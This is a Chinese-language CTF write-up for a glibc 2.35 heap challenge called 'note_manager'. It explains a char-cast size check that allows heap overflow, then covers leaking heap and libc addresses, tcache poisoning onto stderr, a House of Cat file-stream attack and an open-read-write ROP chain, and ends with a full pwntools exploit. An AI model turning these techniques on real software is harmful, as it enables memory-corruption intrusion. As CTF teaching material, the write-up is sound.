1 程序分析

64 位保护全开,libc 版本是 2.35-0ubuntu3.11

1
2
3
4
5
6
7
8
9
10
(pwn) secreu@Vanilla:~/code/2025HWB/note_manager$ checksec --file=note_manager
[*] '/home/secreu/code/2025HWB/note_manager/note_manager'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
RUNPATH: b'/home/secreu/glibc-all-in-one/libs/2.35-0ubuntu3.11_amd64/'
(pwn) secreu@Vanilla:~/code/2025HWB/note_manager$ strings libc.so.6 | grep 'Ubuntu GLIBC'
GNU C Library (Ubuntu GLIBC 2.35-0ubuntu3.11) stable release version 2.35.

开了沙箱,把 execveexecveat 禁用了,所以这道题是要用 ROP 做一个 ORW

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
unsigned __int64 sub_3100()
{
int v0; // edx
int v1; // edi
int i; // [rsp+4h] [rbp-2Ch]
int v4; // [rsp+14h] [rbp-1Ch]
_QWORD v5[3]; // [rsp+18h] [rbp-18h] BYREF

v5[2] = __readfsqword(0x28u);
v5[0] = &byte_8;
v5[1] = &unk_6010;
v4 = prctl(38, 1LL, 0LL, 0LL, 0LL);
for ( i = 1533078119; ; i = v0 )
{
while ( i < 114678826 )
{
if ( i < -310972886 )
{
perror("prctl(PR_SET_SECCOMP)");
exit(2);
}
v1 = 696073756;
if ( prctl(22, 2LL, v5) < 0 )
v1 = -1000706174;
i = v1;
}
if ( i < 696073756 )
{
perror("prctl(PR_SET_NO_NEW_PRIVS)");
exit(2);
}
if ( i < 1533078119 )
break;
v0 = -310972886;
if ( v4 < 0 )
v0 = 114678826;
}
return __readfsqword(0x28u);
}
1
2
3
4
5
6
7
8
9
10
11
12
(pwn) secreu@Vanilla:~/code/2025HWB/note_manager$ seccomp-tools dump ./note_manager 
Note Manager
line CODE JT JF K
=================================
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x00 0x05 0xc000003e if (A != ARCH_X86_64) goto 0007
0002: 0x20 0x00 0x00 0x00000000 A = sys_number
0003: 0x35 0x03 0x00 0x40000000 if (A >= 0x40000000) goto 0007
0004: 0x15 0x02 0x00 0x0000003b if (A == execve) goto 0007
0005: 0x15 0x01 0x00 0x00000142 if (A == execveat) goto 0007
0006: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0007: 0x06 0x00 0x00 0x00000000 return KILL

主函数一坨一坨的,但是这种菜单题我们可以通过它 puts/printf 出来的信息去定位关键代码,结合运行程序来分析程序到底做了什么

1
2
3
4
5
6
7
8
9
10
11
12
13
14
(pwn) secreu@Vanilla:~/code/2025HWB/note_manager$ ./note_manager 
Note Manager
$> as
Invalid choice. Please try help for usage.
$> help

Usage:
add - Add a new note
edit - Edit an existing note
show - Show a note
del - Delete a note
help - usage for note
exit - Exit program
$>

1.1 add

读一个无符号整型的 size,并且限制了不能为 0

1
2
3
4
5
6
7
if ( i >= 656840380 )
break;
printf("Enter size of note: ");
v1 = __isoc99_scanf("%zu", size);
v2 = -920297666;
if ( v1 != 1 )
v2 = -1606009516;

根据 size 分配 chunk

1
2
3
4
5
6
7
8
9
else if ( i < 1405956153 )
{
getchar();
v7 = malloc(size[0]);
v4 = -301788886;
if ( v7 )
v4 = -666603898;
i = v4;
}

将拿到的 chunk 地址存入 ptr 加上一定偏移,也存储了 size,计数器自加

1
2
3
4
5
6
7
8
else if ( i < -301788886 )
{
*((_QWORD *)ptr + v8 + 1) = v7;
*(_QWORD *)(*((_QWORD *)ptr + 13) + 8LL * v8) = size[0];
++*(_DWORD *)ptr;
i = 656840380;
printf("Note added successfully at index %d\n", v8);
}

显然 ptr 含义为 note array,v8 是它遍历得到的第一个空位,ptr[0] 统计分配了的 chunk 数量,ptr[13] 指向 size array,note 数量上限就是 12

add

1.2 edit

输入 0 ~ 11 的 index

1
2
printf("Enter index of note to edit: ");
v10 = __isoc99_scanf("%d", &v12);

输入整型 newsize,这里的 v9 是原来保存的的 size

1
2
3
4
v9 = *(_QWORD *)(*((_QWORD *)ptr + 13) + 8LL * v12);
printf("Enter newsize: ");
__isoc99_scanf("%d", &v11);
getchar();

将 newsize 与 size 进行比较,如果 newsize > size,就会报 “Invalid size”

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
else if ( i >= -662856209 )
{
v6 = 997093667;
if ( (char)v11 > v9 )
v6 = -441217925;
i = v6;
}
......
else if ( i < -441217925 )
{
v3 = -1790419586;
if ( !*((_QWORD *)ptr + v12 + 1) )
v3 = -1219104719;
i = v3;
}
else
{
printf("Invalid size \n");
i = -1426196032;
}

将 newsize 存储早 size array 中,然后读取用户输入写入对应的 note/chunk 中,最多写入 newsize 字节

1
2
3
4
5
*(_QWORD *)(*((_QWORD *)ptr + 13) + 8LL * v12) = v11;
printf("Enter new content for note: ");
read(0, *((void **)ptr + v12 + 1), *(_QWORD *)(*((_QWORD *)ptr + 13) + 8LL * v12));
i = -1426196032;
printf("Note at index %d updated successfully\n", v12);

1.3 show

输入 0 ~ 11 的 index

1
2
printf("Enter index of note to show: ");
v7 = __isoc99_scanf("%d", &v8);

若 note array 中存在对应位置的 chunk 指针,就 printf("%s") 输出其中的内容

1
2
3
4
printf("Note at index %d:\n", v8);
printf("Size: %zu bytes\n", *(_QWORD *)(*((_QWORD *)ptr + 13) + 8LL * v8));
printf("Content: %s\n", *((const char **)ptr + v8 + 1));
v6 = 71551844;

1.4 del

输入 0 ~ 11 的 index

1
2
printf("Enter index of note to delete: ");
v7 = __isoc99_scanf("%d", &v8);

若 note array 中存在对应位置的 chunk 指针,执行 free 操作,chunk 指针清空,size 清空,计数减一

1
2
3
4
5
6
free(*((void **)ptr + v8 + 1));
*((_QWORD *)ptr + v8 + 1) = 0LL;
*(_QWORD *)(*((_QWORD *)ptr + 13) + 8LL * v8) = 0LL;
--*(_DWORD *)ptr;
printf("Note at index %d deleted successfully\n", v8);
i = -1762444748;

1.5 漏洞点

问题出在 edit 中,newsize 和 size 的比较将 int 类型的 newsize 强制转换成 char 类型:(char)v11 > v9

这会导致只有最低字节参与比较,只需要将最低字节置为 0 即可绕过,例如 (char)0x1000 < (unsigned int)0x10,从而实现堆溢出,对低地址的 chunk 进行 edit 能够覆盖后续高地址的 chunk

2 漏洞利用

因为 edit 功能中的 read 后刚好跟着一个 printf,我们就可以直接打 _IO_2_1_stdout_,将 ROP 链布置在 _IO_2_1_stderr_ 上,由 printf 触发

总体来说要干 3 件事:

  1. 泄露 heap 地址和 libc 地址
  2. 打 tcache 实现任意地址分配,我们要分配到 stderr
  3. House of Cat 走 setcontext 实现 ORW

2.1 泄露 Heap/Libc 基址

由于 tcache safe-linking 机制,我们不能直接将 next 指针修改为想要申请的地址,首先要将 heap base 泄露出来

申请 chunk_0,将其 free 再重新申请出来 show 即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
    add(0x10) # 0
delete(0)
add(0x10)
show(0)
io.recvuntil(b'Content: ')
heap_leak = u64(io.recv(5).strip().ljust(8, b'\x00'))
heap_base = heap_leak << 12
log.success(f'heap_base: {hex(heap_base)}')
'''
[DEBUG] Received 0x2f bytes:
00000000 4e 6f 74 65 20 61 74 20 69 6e 64 65 78 20 30 3a │Note│ at │inde│x 0:│
00000010 0a 53 69 7a 65 3a 20 31 36 20 62 79 74 65 73 0a │·Siz│e: 1│6 by│tes·│
00000020 43 6f 6e 74 65 6e 74 3a 20 63 4c 37 8a 05 0a │Cont│ent:│ cL7│···│
0000002f
[+] heap_base: 0x58a374c63000
'''

leak_heap

然后是泄露 libc,方法是伪造 size 位大于 0x410 的 chunk,将其 free 会进入 unsorted bin,从而 fd/bk 都指向 main_arena + 0x60,注意需要绕过 free 的部分检查,需要做下面额外的操作:

  1. nextchunk 的 PREV_IN_USE 位为 1
  2. nextnextchunk 的 PREV_IN_USE 位为 1
  3. 确保 topchunk 没有损坏

我们通过 edit 之前申请的 chunk_0 对新申请的 chunk_1 修改 size 位为 0x421,伪造连续的 3 个 chunk。free 后再同样利用 edit chunk_0 覆盖 0 字节,show chunk_0 泄露 libc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
    add(0x10) # 1
add(0x390) # 2 make sure topchunk undamaged
add(0x390) # 3 make sure topchunk undamaged

fake_chunk_list = p64(0) + p64(0x421) + p64(0) * 0x82
fake_chunk_list += p64(0) + p64(0x21) + p64(0) * 2
fake_chunk_list += p64(0) + p64(0x21)
edit(0, 0x1000, p64(0) * 2 + fake_chunk_list)
delete(1)

edit(0, 0x1000, b'A' * 0x20)
show(0)
io.recvuntil(b'A' * 0x20)
main_arena_96 = u64(io.recv(6).ljust(8, b'\x00'))
libc_base = main_arena_96 - 0x21AC80 - 0x60
log.success(f'libc_base: {hex(libc_base)}')

edit(0, 0x1000, b'A' * 0x10 + p64(0) + p64(0x421))
'''
[DEBUG] Sent 0x2 bytes:
b'0\n'
[DEBUG] Received 0x52 bytes:
00000000 4e 6f 74 65 20 61 74 20 69 6e 64 65 78 20 30 3a │Note│ at │inde│x 0:│
00000010 0a 53 69 7a 65 3a 20 34 30 39 36 20 62 79 74 65 │·Siz│e: 4│096 │byte│
00000020 73 0a 43 6f 6e 74 65 6e 74 3a 20 41 41 41 41 41 │s·Co│nten│t: A│AAAA│
00000030 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 │AAAA│AAAA│AAAA│AAAA│
00000040 41 41 41 41 41 41 41 41 41 41 41 e0 ac c1 1f 46 │AAAA│AAAA│AAA·│···F│
00000050 78 0a │x·│
00000052
[+] libc_base: 0x78461fa00000
'''

leak_libc

2.2 任意地址分配到 stderr

前面已经拿到 heap 基址,根据 safe-linking 的机制:free(chunk_addr) 会将 next 指针置为 (chunk_addr >> 12) ^ tcache_entry[idx],当 tcache bin 中还没有 chunk 时,tcache_entry[idx] 为 0,所以第一个 free 进去的 chunk 的 next 指针为 chunk_addr >> 12 = heap_base >> 12

我们要想任意地址分配,需要至少先 free 2 个 heap 上的 chunk,然后将最近 free 的 next 指针修改为 (heap_base >> 12) ^ target_addr,这样 malloctcache_entry[idx] = target_addr,就可以再 malloc 拿到目标地址

下面的代码利用 edit chunk_4 修改 chunk_5 的 next 指针

1
2
3
4
5
6
7
8
9
10
11
12
13
14
add(0x10) # 1
add(0x10) # 4
add(0x200) # 5
add(0x200) # 6
delete(6)
delete(5)

_IO_2_1_stderr_ = libc_base + libc.symbols['_IO_2_1_stderr_']
_IO_2_1_stdout_ = libc_base + libc.symbols['_IO_2_1_stdout_']
fake_next = (heap_base >> 12) ^ _IO_2_1_stderr_

edit(4, 0x1000, p64(0) * 3 + p64(0x211) + p64(fake_next))
add(0x200) # 5
add(0x200) # 6

edit 后 tcache 被污染

tcache_poison

成功拿到 stderr,0x200 的大小足够覆盖 stderrstdout,接下来直接 edit chunk_6 就可以写 stderr

malloc_stderr

2.3 House of Cat

先准备好 ROP,做 ORW,准备将其写入 _IO_2_1_stderr_ + 8 的位置

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
pop_rdi = libc_base + 0x2a3e5 # pop rdi ; ret
pop_rsi = libc_base + 0x2be51 # pop rsi ; ret
pop_rdx = libc_base + 0xa85a9 # pop rdx ; xor eax, eax ; pop rbp ; pop r12 ; ret
open_addr = libc_base + 0x119A40 # __open_nocancel
read_addr = libc_base + 0x114840 # read
write_addr = libc_base + 0x1148E0 # write

file_path = b'./flag'
rop_addr = _IO_2_1_stderr_ + 8
file_path_addr = rop_addr + 0x98

rop_chain = p64(pop_rdi) + p64(file_path_addr) + p64(pop_rsi) + p64(0) + p64(open_addr)
rop_chain += p64(pop_rdi) + p64(3) + p64(pop_rsi) + p64(file_path_addr) + p64(pop_rdx) + p64(0x100) + p64(0) * 2 + p64(read_addr)
rop_chain += p64(pop_rdi) + p64(1) + p64(pop_rsi) + p64(file_path_addr) + p64(write_addr)
rop_chain += file_path
rop_chain = rop_chain.ljust(0xd8, b'\x00')

House of Cat 通过修改虚表指针偏移,使得对 IO 相关函数的调用实际调用为 _IO_wfile_jumps 中的 _IO_wfile_seekoff,然后进入到 _IO_switch_to_wget_mode 函数中,进入条件是 rcx 不为 0,printf 可以满足。

还对参数 fp 有所限制,要求 fp[20][3] < fp[20][4]。只要将 fp 写入 fp + 0xA0,然后在 fp + 0x18fp + 0x20 做对应的设置即可

seekoff_1

seekoff_2

进入 _IO_switch_to_wget_mode 又检查一次 fp[20][3] < fp[20][4],然后我们在 fp + 0xE0 填入 fp,在 fp + 0x18 填入 setcontext + 61,就可以调用到 setcontext + 61,在 fp + 0x20 填入 fp,就既可以满足大小要求,也可以使得 rdx = fp,在 fp 上继续伪造 Signal Frame 即可

wget_mode

最后进入 setcontext + 61,需要设置 rspripfp + 0xA0 已经填入了 fp,在 fp + 0xA8 填入 pop rsp ; pop rbp ; ret 地址,做一次栈迁移,故 fp + 0 上写入 ROP 地址减 8,也就是 _IO_2_1_stderr_,这样经过 2 次 pop 后,rsp 指向了 _IO_2_1_stderr_ + 8,即 ROP 存放的位置

setcontext_1

setcontext_2

最后还要给 _lock 设置一个有效的地址,这里将其指向 _markers

构造图如下:

house_of_cat

伪造的 _IO_FILE_plus 如下代码,将其跟在 ROP 后,写入 _IO_2_1_stdout_

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
    set_context_61 = libc_base + 0x539E0 + 61
_IO_wfile_jumps = libc_base + 0x2170c0
pop_rsp_rbp = libc_base + 0x133ba0 # pop rsp ; pop rbp ; ret

io_file_addr = _IO_2_1_stdout_

io_file = b''
io_file += p64(rop_addr - 8) + p64(0)
io_file += p64(0) + p64(set_context_61)
io_file += p64(io_file_addr) + p64(io_file_addr + 8) # flush: _IO_write_base < _IO_write_ptr

io_file = io_file.ljust(0x88, b'\x00')
io_file += p64(io_file_addr + 0x60) # _lock -> _markers

io_file = io_file.ljust(0xa0, b'\x00')
io_file += p64(io_file_addr)
io_file += p64(pop_rsp_rbp) # set_context ret

io_file = io_file.ljust(0xd8, b'\x00')
io_file += p64(_IO_wfile_jumps + 0x10)
io_file += p64(io_file_addr)

edit(6, 0x200, p64(0xfbad2222) + rop_chain + io_file)

io.interactive()
'''
[DEBUG] Received 0x100 bytes:
00000000 66 6c 61 67 7b 48 6f 70 65 5f 79 6f 75 5f 72 65 │flag│{Hop│e_yo│u_re│
00000010 6d 65 6d 62 65 72 5f 6d 65 7d 00 00 00 00 00 00 │memb│er_m│e}··│····│
00000020 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 │····│····│····│····│
00000030 00 00 00 00 00 00 00 00 a0 3b f3 17 a5 75 00 00 │····│····│·;··│·u··│
00000040 a0 b6 01 18 a5 75 00 00 00 00 00 00 00 00 00 00 │····│·u··│····│····│
00000050 00 00 00 00 00 00 00 00 1d 3a e5 17 a5 75 00 00 │····│····│·:··│·u··│
00000060 80 b7 01 18 a5 75 00 00 88 b7 01 18 a5 75 00 00 │····│·u··│····│·u··│
00000070 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 │····│····│····│····│
*
000000c0 00 00 00 00 00 00 00 00 e0 b7 01 18 a5 75 00 00 │····│····│····│·u··│
000000d0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 │····│····│····│····│
000000e0 80 b7 01 18 a5 75 00 00 a0 3b f3 17 a5 75 00 00 │····│·u··│·;··│·u··│
000000f0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 │····│····│····│····│
00000100
flag{Hope_you_remember_me}\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xa0;\xf3\x17\xa5u\x00\x00\xa0\xb6\x01\x18\xa5u\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x1d:\xe5\x17\xa5u\x00\x00\x80\xb7\x01\x18\xa5u\x00\x00\x88\xb7\x01\x18\xa5u\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xe0\xb7\x01\x18\xa5u\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x80\xb7\x01\x18\xa5u\x00\x00\xa0;\xf3\x17\xa5u\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00$ [*] Got EOF while reading in interactive
'''

当执行 printf 时,会通过 _IO_2_1_stdout_ 调用 _IO_xsputn_t,对应 _IO_file_jumps + 0x38,而我们通过修改 stdout->vatble 指向 _IO_wfile_jumps + 0x10,使得实际调用的函数为 _IO_wfile_seekoff

整个调用链为 printf -> _IO_wfile_seekoff -> _IO_switch_to_wget_mode -> setcontext + 61 -> pop rsp ; pop rbp ;ret -> ROP

3 利用脚本

完整 EXP 如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
from pwn import *

elf = ELF('./note_manager')
libc = ELF('./libc.so.6')

context(os=elf.os, arch=elf.arch, log_level='debug')

def add(size):
io.sendlineafter(b'$> ', b'add')
io.sendlineafter(b'Enter size of note: ', str(size).encode())

def edit(index, newsize, content):
io.sendlineafter(b'$> ', b'edit')
io.sendlineafter(b'Enter index of note to edit: ', str(index).encode())
io.sendlineafter(b'Enter newsize: ', str(newsize).encode())
io.sendafter(b'Enter new content for note: ', content)

def show(index):
io.sendlineafter(b'$> ', b'show')
io.sendlineafter(b'Enter index of note to show: ', str(index).encode())

def delete(index):
io.sendlineafter(b'$> ', b'del')
io.sendlineafter(b'Enter index of note to delete: ', str(index).encode())

def exploit():
add(0x10) # 0
delete(0)
add(0x10)
show(0)
io.recvuntil(b'Content: ')
heap_leak = u64(io.recv(5).strip().ljust(8, b'\x00'))
heap_base = heap_leak << 12
log.success(f'heap_base: {hex(heap_base)}')

add(0x10) # 1
add(0x390) # 2
add(0x390) # 3

fake_chunk_list = p64(0) + p64(0x421) + p64(0) * 0x82
fake_chunk_list += p64(0) + p64(0x21) + p64(0) * 2
fake_chunk_list += p64(0) + p64(0x21)
edit(0, 0x1000, p64(0) * 2 + fake_chunk_list)
delete(1)

edit(0, 0x1000, b'A' * 0x20)
show(0)
io.recvuntil(b'A' * 0x20)
main_arena_96 = u64(io.recv(6).ljust(8, b'\x00'))
libc_base = main_arena_96 - 0x21AC80 - 0x60
log.success(f'libc_base: {hex(libc_base)}')

edit(0, 0x1000, b'A' * 0x10 + p64(0) + p64(0x421))

add(0x10) # 1
add(0x10) # 4
add(0x200) # 5
add(0x200) # 6
delete(6)
delete(5)

_IO_2_1_stderr_ = libc_base + libc.symbols['_IO_2_1_stderr_']
_IO_2_1_stdout_ = libc_base + libc.symbols['_IO_2_1_stdout_']
fake_next = (heap_base >> 12) ^ _IO_2_1_stderr_

edit(4, 0x1000, p64(0) * 3 + p64(0x211) + p64(fake_next))
add(0x200) # 5
add(0x200) # 6

pop_rdi = libc_base + 0x2a3e5 # pop rdi ; ret
pop_rsi = libc_base + 0x2be51 # pop rsi ; ret
pop_rdx = libc_base + 0xa85a9 # pop rdx ; xor eax, eax ; pop rbp ; pop r12 ; ret
open_addr = libc_base + 0x119A40 # __open_nocancel
read_addr = libc_base + 0x114840 # read
write_addr = libc_base + 0x1148E0 # write

file_path = b'./flag'
rop_addr = _IO_2_1_stderr_ + 8
file_path_addr = rop_addr + 0x98

rop_chain = p64(pop_rdi) + p64(file_path_addr) + p64(pop_rsi) + p64(0) + p64(open_addr)
rop_chain += p64(pop_rdi) + p64(3) + p64(pop_rsi) + p64(file_path_addr) + p64(pop_rdx) + p64(0x100) + p64(0) * 2 + p64(read_addr)
rop_chain += p64(pop_rdi) + p64(1) + p64(pop_rsi) + p64(file_path_addr) + p64(write_addr)
rop_chain += file_path
rop_chain = rop_chain.ljust(0xd8, b'\x00')

set_context_61 = libc_base + 0x539E0 + 61
_IO_wfile_jumps = libc_base + 0x2170c0
pop_rsp_rbp = libc_base + 0x133ba0 # pop rsp ; pop rbp ; ret

io_file_addr = _IO_2_1_stdout_

io_file = b''
io_file += p64(rop_addr - 8) + p64(0)
io_file += p64(0) + p64(set_context_61)
io_file += p64(io_file_addr) + p64(io_file_addr + 8) # flush: _IO_write_base < _IO_write_ptr

io_file = io_file.ljust(0x88, b'\x00')
io_file += p64(io_file_addr + 0x60) # _lock -> _markers

io_file = io_file.ljust(0xa0, b'\x00')
io_file += p64(io_file_addr)
io_file += p64(pop_rsp_rbp) # set_context ret

io_file = io_file.ljust(0xd8, b'\x00')
io_file += p64(_IO_wfile_jumps + 0x10)
io_file += p64(io_file_addr)

edit(6, 0x200, p64(0xfbad2222) + rop_chain + io_file)

io.interactive()


if __name__ == "__main__":
io = process(elf.path)
# io = gdb.debug(elf.path, "b *$rebase(0x2965)")
# io = remote('192.168.18.22', 9999)

exploit()